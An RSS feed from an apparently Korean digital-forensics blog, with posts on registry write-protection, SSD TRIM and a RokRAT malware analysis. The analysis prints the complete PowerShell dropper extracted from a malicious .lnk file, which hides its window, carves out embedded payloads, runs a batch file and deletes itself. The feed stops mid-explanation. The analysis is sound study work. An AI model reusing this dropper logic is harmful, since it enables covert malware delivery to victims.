<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>모두의 dream</title>
    <link>https://roklcw.tistory.com/</link>
    <description>유명한 투리구슬  </description>
    <language>ko</language>
    <pubDate>Sun, 10 May 2026 12:18:49 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>오리꽥이로</managingEditor>
    <image>
      <title>모두의 dream</title>
      <url>https://tistory1.daumcdn.net/tistory/4994713/attach/ead862fe9d9e470eb652d5ea8980a667</url>
      <link>https://roklcw.tistory.com</link>
    </image>
    <item>
      <title>소프트웨어를 이용한 쓰기방지</title>
      <link>https://roklcw.tistory.com/140</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;쓰기방지 하드웨어 장비가 없을 때 사용할 수 있는 방법&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;레지스트리 값 수정&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 레지스트리 편집기 실행&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/E4NMc/btsQ6YXplVE/iB2ncj0eKkAgHSNjxPlbfK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/E4NMc/btsQ6YXplVE/iB2ncj0eKkAgHSNjxPlbfK/img.png&quot; data-origin-width=&quot;1111&quot; data-origin-height=&quot;447&quot; data-is-animation=&quot;false&quot; width=&quot;611&quot; height=&quot;246&quot; style=&quot;width: 58.6718%; margin-right: 10px;&quot; data-widthpercent=&quot;59.36&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/E4NMc/btsQ6YXplVE/iB2ncj0eKkAgHSNjxPlbfK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FE4NMc%2FbtsQ6YXplVE%2FiB2ncj0eKkAgHSNjxPlbfK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1111&quot; height=&quot;447&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dtye86/btsQ7zJZSpq/XXkGaMQXFBKfCb6C6dP15k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dtye86/btsQ7zJZSpq/XXkGaMQXFBKfCb6C6dP15k/img.png&quot; data-origin-width=&quot;570&quot; data-origin-height=&quot;335&quot; data-is-animation=&quot;false&quot; style=&quot;width: 40.1654%;&quot; data-widthpercent=&quot;40.64&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dtye86/btsQ7zJZSpq/XXkGaMQXFBKfCb6C6dP15k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdtye86%2FbtsQ7zJZSpq%2FXXkGaMQXFBKfCb6C6dP15k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;570&quot; height=&quot;335&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;레지스트리 편집기&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 아래 경로로 이동&lt;/h3&gt;
&lt;pre id=&quot;code_1760320075969&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;컴퓨터\HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. &quot;StorageDevicePolicies&quot; 키 접근/생성&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 StorageDevicePolicies 키가 존재하지 않을 경우 키 생성&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;537&quot; data-origin-height=&quot;247&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DbJwP/btsQ6MpmP8T/FtSmbLu0bOj08qTavdKcek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DbJwP/btsQ6MpmP8T/FtSmbLu0bOj08qTavdKcek/img.png&quot; data-alt=&quot;키 생성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DbJwP/btsQ6MpmP8T/FtSmbLu0bOj08qTavdKcek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDbJwP%2FbtsQ6MpmP8T%2FFtSmbLu0bOj08qTavdKcek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;391&quot; height=&quot;180&quot; data-origin-width=&quot;537&quot; data-origin-height=&quot;247&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;키 생성&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;4. &quot;WriteProtect&quot; 값 수정/생성&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 StorageDevicesPolices 키를 새로 생성한 경우 WriteProtect 값 생성&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;493&quot; data-origin-height=&quot;207&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVQagh/btsQ61T6hLj/Pv7aXK8LrXwcY8QDqj79Tk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVQagh/btsQ61T6hLj/Pv7aXK8LrXwcY8QDqj79Tk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVQagh/btsQ61T6hLj/Pv7aXK8LrXwcY8QDqj79Tk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVQagh%2FbtsQ61T6hLj%2FPv7aXK8LrXwcY8QDqj79Tk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;374&quot; height=&quot;157&quot; data-origin-width=&quot;493&quot; data-origin-height=&quot;207&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WriteProtect 값을 1로 설정하면 쓰기 방지가 설정되고, 0으로 설정하면 쓰기 방지가 해제된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;537&quot; data-origin-height=&quot;406&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vUbUS/btsQ5VtzOck/CsOHR97I01CC4PScPYZp11/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vUbUS/btsQ5VtzOck/CsOHR97I01CC4PScPYZp11/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vUbUS/btsQ5VtzOck/CsOHR97I01CC4PScPYZp11/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvUbUS%2FbtsQ5VtzOck%2FCsOHR97I01CC4PScPYZp11%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;341&quot; height=&quot;258&quot; data-origin-width=&quot;537&quot; data-origin-height=&quot;406&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;결과 확인&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쓰기 방지가 적용됐다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;559&quot; data-origin-height=&quot;323&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIw8BR/btsQ4OaRw6f/X0OVevoC0lDiTKaROxDYzk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIw8BR/btsQ4OaRw6f/X0OVevoC0lDiTKaROxDYzk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIw8BR/btsQ4OaRw6f/X0OVevoC0lDiTKaROxDYzk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIw8BR%2FbtsQ4OaRw6f%2FX0OVevoC0lDiTKaROxDYzk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;389&quot; height=&quot;225&quot; data-origin-width=&quot;559&quot; data-origin-height=&quot;323&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>분야/Digital Forensics</category>
      <author>오리꽥이로</author>
      <guid isPermaLink="true">https://roklcw.tistory.com/140</guid>
      <comments>https://roklcw.tistory.com/140#entry140comment</comments>
      <pubDate>Mon, 13 Oct 2025 10:54:16 +0900</pubDate>
    </item>
    <item>
      <title>Write-up</title>
      <link>https://roklcw.tistory.com/138</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;Wargame&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CyberDefenders: &lt;a href=&quot;https://github.com/RokLcw/CyberDefenders&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;span&gt;https://github.com/RokLcw/CyberDefenders&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;Hack The Box:&lt;br /&gt;Dreamhack:&amp;nbsp;&lt;br /&gt;reversing.kr:&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Algorithm&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;백준: &lt;a href=&quot;https://github.com/RokLcw/BAEKJOON&quot; target=&quot;_self&quot;&gt;&lt;span&gt;https://github.com/RokLcw/BAEKJOON&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Wargame &amp;amp; Algorithm</category>
      <author>오리꽥이로</author>
      <guid isPermaLink="true">https://roklcw.tistory.com/138</guid>
      <comments>https://roklcw.tistory.com/138#entry138comment</comments>
      <pubDate>Wed, 23 Jul 2025 22:16:12 +0900</pubDate>
    </item>
    <item>
      <title>플래시 메모리와 TRIM  (with 디지털 포렌식)</title>
      <link>https://roklcw.tistory.com/137</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;요즘 저장 매체들은 왜 포렌식이 힘들어요???&quot; 라는 질문에 시원하게 대답하기 위한 개념 정리.&lt;/p&gt;&lt;h2 data-ke-size=&quot;size26&quot;&gt;I. SSD&lt;/h2&gt;&lt;h4 data-ke-size=&quot;size20&quot;&gt;SSD&lt;/h4&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;NAND 플래시 메모리를 기반으로 한 저장매체.&lt;/li&gt;&lt;li&gt;플래시 메모리를 사용하기 때문에 셀(Cell) 이라는 기본 단위로 구성되어 있고 해당 셀에 비트를 저장한다.&lt;/li&gt;&lt;li&gt;쓰기(Write) 작업시 0, 지우기(Erase) 작업시 1로 채워지게 된다.&lt;/li&gt;&lt;/ul&gt;&lt;h4 data-ke-size=&quot;size20&quot;&gt;하드디스크에서 파일을 삭제하는 방식&lt;/h4&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;MFT 영역에서 파일의 위치를 가리키던 메타 데이터만 삭제를 하고 실제 데이터는 남겨두는 방식이었다.&lt;/li&gt;&lt;/ul&gt;&lt;h4 data-ke-size=&quot;size20&quot;&gt;만약 하드디스크 삭제 방식 그대로 SSD에서 사용하게 된다면??&lt;/h4&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;해당 방식은 플래시 메모리를 사용하는 SSD에서는 문제가 발생하게 된다.&lt;/li&gt;&lt;li&gt;셀에는 수명이 존재하는데 하드디스크에서 사용되는 플래터에 비해 현저히 짧은 수명을 갖고 있다.&lt;/li&gt;&lt;li&gt;하드디스크처럼 메타 데이터만 삭제를 하고 실제 데이터를 남겨두게 되면 해당 셀에는 굳이 사용하지 않는 데이터를 계속 저장하느라 점차 수명이 줄어든다.&lt;/li&gt;&lt;li&gt;이를 해결하기 위해 TRIM이라는 개념을 도입하게 된다.&lt;/li&gt;&lt;/ul&gt;&lt;h2 data-ke-size=&quot;size26&quot;&gt;II. TRIM&lt;/h2&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;운영체제에서 SSD의 사용 및 관리 방식을 최적화하기 위해 사용하는 명령&lt;/li&gt;&lt;li&gt;운영체제는 데이터 블록을 더 이상 사용하지 않는 다는 것을 TRIM을 통해 SSD에게 알려주면 가비지 컬렉션(Garbage Collection) 이라는 작업을 통해 데이터를 정리(지운) 후 재사용 가능하도록 빈 공간을 확보해주게 된다.&lt;/li&gt;&lt;li&gt;따라서 파일 복구 및 포렌식이 어려워진다.&lt;/li&gt;&lt;/ul&gt;&lt;h2 data-ke-size=&quot;size26&quot;&gt;III. 휴대전화 저장장치&lt;/h2&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;현재 휴대전화에도 플래시 메모리가 사용되고 있다.&lt;/p&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;안드로이드 4.3 버전부터 TRIM 지원&lt;/li&gt;&lt;li&gt;iOS 10.3 부터 APFS(iOS 파일시스템) 사용으로 TRIM 지원&lt;/li&gt;&lt;/ul&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 SSD와 동일하게 휴대전화에서도 파일을 삭제할 경우 완전 삭제가 될 가능성이 높으며 파일 복구, 포렌식이 어렵다. &lt;br&gt;&lt;br&gt;&lt;/p&gt;</description>
      <category>분야/Digital Forensics</category>
      <author>오리꽥이로</author>
      <guid isPermaLink="true">https://roklcw.tistory.com/137</guid>
      <comments>https://roklcw.tistory.com/137#entry137comment</comments>
      <pubDate>Wed, 16 Jul 2025 18:17:05 +0900</pubDate>
    </item>
    <item>
      <title>RokRAT Malware</title>
      <link>https://roklcw.tistory.com/135</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;APT 37 그룹의 악성코드 RokRAT에 대한 분석 내용.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인터넷 상에 공유되어 다운로드 받을 수 있는 RokRAT 악성코드를 다운로드 받아서 분석을 진행했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 학습 중인 내용상 lnk 파일에 숨겨져 있는 스크립트에 대한 내용만 공부하고 싶어 바이너리 분석은 별도로 진행하지 않았으며 추후 분석이 가능해진다면 추가해볼 예정이다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;I. 악성코드 정보&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일명: (안보칼럼) 반국가세력에 안보기관이 무기력해서는 안된다.lnk&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Hash (MD5): 2A12C48F3755D5EC762BF22215A34C19&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;II. 악성코드 동작 과정&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;lnk 파일에는 악성코드를 드롭, 실행하기 위한 스크립트와 악성파일, 사용자를 속이기 위한 정상 한글파일이 함께 들어있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;악성코드를 실행하면 각각 아래 경로에 파일이 드롭되고, 한글 파일과 악의적인 행위를 하는 배치 파일이 실행되게 된다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 97px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 21px;&quot;&gt;파일명&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 21px;&quot;&gt;경로&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 21px;&quot;&gt;(안보칼럼) 반국가세력에 안보기관이 무기력해서는 안된다.hwp&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 21px;&quot;&gt;lnk 파일 실행 경로와 동일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;public.dat&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;C:\Users\Public&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 21px;&quot;&gt;temp.dat&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 21px;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #161f38; text-align: left;&quot;&gt;C:\Users\[사용자 명]\AppData\Local\Temp&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;working.bat&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #161f38; text-align: left;&quot;&gt;C:\Users\[사용자 명]\AppData\Local\Temp&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 해당 lnk 파일의 구조는 다음과 같다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 114px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 27.4419%; height: 21px;&quot;&gt;데이터&lt;/td&gt;
&lt;td style=&quot;width: 36.279%; height: 21px;&quot;&gt;주소&lt;/td&gt;
&lt;td style=&quot;width: 36.279%; height: 21px;&quot;&gt;크기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 27.4419%; height: 21px;&quot;&gt;lnk 파일 &amp;amp; 스크립트&lt;/td&gt;
&lt;td style=&quot;width: 36.279%; height: 21px;&quot;&gt;0x00000000 ~ 0x0000162D&lt;/td&gt;
&lt;td style=&quot;width: 36.279%; height: 21px;&quot;&gt;0x0000162E&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 27.4419%; height: 21px;&quot;&gt;한글 파일 (.hwp)&lt;/td&gt;
&lt;td style=&quot;width: 36.279%; height: 21px;&quot;&gt;0x0000162E ~ 0x0004422D&lt;/td&gt;
&lt;td style=&quot;width: 36.279%; height: 21px;&quot;&gt;0x00042C00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 27.4419%; height: 17px;&quot;&gt;public.dat&lt;/td&gt;
&lt;td style=&quot;width: 36.279%; height: 17px;&quot;&gt;0x0004422E ~ 0x0011D62F&lt;/td&gt;
&lt;td style=&quot;width: 36.279%; height: 17px;&quot;&gt;0x000D9402&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 27.4419%; height: 17px;&quot;&gt;temp.dat&lt;/td&gt;
&lt;td style=&quot;width: 36.279%; height: 17px;&quot;&gt;0x0011D630 ~ 0x0011DBD9&lt;/td&gt;
&lt;td style=&quot;width: 36.279%; height: 17px;&quot;&gt;0x000005AA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 27.4419%; height: 17px;&quot;&gt;working.bat&lt;/td&gt;
&lt;td style=&quot;width: 36.279%; height: 17px;&quot;&gt;0x0011DBDA ~ 0x0011DD0E&lt;/td&gt;
&lt;td style=&quot;width: 36.279%; height: 17px;&quot;&gt;0x00000135&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27.4419%;&quot;&gt;쓰레기 값&lt;/td&gt;
&lt;td style=&quot;width: 36.279%;&quot;&gt;0x0011DD0F ~ 0x0DD6DA21&lt;/td&gt;
&lt;td style=&quot;width: 36.279%;&quot;&gt;0x0DC4FD13&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;III. 스크립트 분석&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;lnk 파일에 숨어있는 스크립트를 추출하기 위해 LECmd 도구를 활용했다.&lt;/p&gt;
&lt;pre id=&quot;code_1750142381065&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;LECmd.exe -f &quot;C:\Users\user\Desktop\malware\APT Attack\Download_collect\(안보칼럼) 반 국가세력에 안보기관이 무기력해서는 안된다.lnk&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추출 결과는 다음과 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1203&quot; data-origin-height=&quot;548&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bM7yL3/btsOElaBCmH/Pfk92PMy7mO2NkyokuoyD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bM7yL3/btsOElaBCmH/Pfk92PMy7mO2NkyokuoyD0/img.png&quot; data-alt=&quot;LECmd 를 통해 추출한 파워쉘 스크립트&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bM7yL3/btsOElaBCmH/Pfk92PMy7mO2NkyokuoyD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbM7yL3%2FbtsOElaBCmH%2FPfk92PMy7mO2NkyokuoyD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1203&quot; height=&quot;548&quot; data-origin-width=&quot;1203&quot; data-origin-height=&quot;548&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;LECmd 를 통해 추출한 파워쉘 스크립트&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1750142143358&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/k for /f &quot;tokens=*&quot; %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a &quot;
    $t1 = 'user32.dll';
    $t = 'using System; 
    using System.Runtime.InteropServices; 
    public class User32 {
        [DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ', SetLastError = true)]
        public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
        [DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ')] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); 
    }'; 
    Add-Type -TypeDefinition $t;
    $proName = 'powershell.exe'; 
    $cmdMainWindowHandle = [User32]::FindWindow([NullString]::Value, $proName);
    [User32]::ShowWindow($cmdMainWindowHandle, 0);
    $dirPath = Get-Location; 
    if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = '%temp%'}; 
    $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x0DD6DA21} | Select-Object -ExpandProperty FullName;
    $lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);
    $lnkFile.Seek(0x0000162E, [System.IO.SeekOrigin]::Begin);
    $pdfFile=New-Object byte[] 0x00042C00;
    $lnkFile.Read($pdfFile, 0, 0x00042C00);
    $pdfPath = $lnkPath.replace('.lnk','.hwp');
    sc $pdfPath $pdfFile -Encoding Byte;
    &amp;amp; $pdfPath;
    $lnkFile.Seek(0x0004422E,[System.IO.SeekOrigin]::Begin);
    $exeFile=New-Object byte[] 0x000D9402;
    $lnkFile.Read($exeFile, 0, 0x000D9402);
    $exePath=$env:public+'\'+'public.dat';
    sc $exePath $exeFile -Encoding Byte;
    $lnkFile.Seek(0x0011D630,[System.IO.SeekOrigin]::Begin);
    $stringByte = New-Object byte[] 0x000005AA;
    $lnkFile.Read($stringByte, 0, 0x000005AA);
    $batStrPath = $env:temp+'\'+'temp.dat';
    $string = [System.Text.Encoding]::UTF8.GetString($stringByte);
    $string | Out-File -FilePath $batStrPath -Encoding ascii;
    $lnkFile.Seek(0x0011DBDA,[System.IO.SeekOrigin]::Begin);
    $batByte = New-Object byte[] 0x00000135;
    $lnkFile.Read($batByte, 0, 0x00000135);
    $executePath = $env:temp+'\'+'working.bat';
    Write-Host $executePath;Write-Host $batStrPath;
    $bastString = [System.Text.Encoding]::UTF8.GetString($batByte);
    $bastString | Out-File -FilePath $executePath -Encoding ascii;
    &amp;amp; $executePath;$lnkFile.Close();
    remove-item -path $lnkPath -force;
&quot;
&amp;amp;&amp;amp; exit&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에서부터 하나하나 해석해보자.&lt;/p&gt;
&lt;pre id=&quot;code_1750147530211&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cmd.exe /k for /f &quot;tokens=*&quot; %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a &quot;
    $t1 = 'user32.dll';
    $t = 'using System; 
    using System.Runtime.InteropServices; 
    public class User32 {
        [DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ', SetLastError = true)]
        public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
        [DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ')] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); 
    }'; 
    Add-Type -TypeDefinition $t;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(1) cmd에서 파워쉘을 실행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(2) 이후 $t1 변수에 user32.dll 문자열을 넣고 &amp;amp;t 변수에 C#으로 이루어진 코드를 넣는다. 해당 코드를 분석해보면 cmd 창을 숨기는 기능으로 활용할 수 있는 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;FindWindow, ShowWindow 함수를 불러온 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;
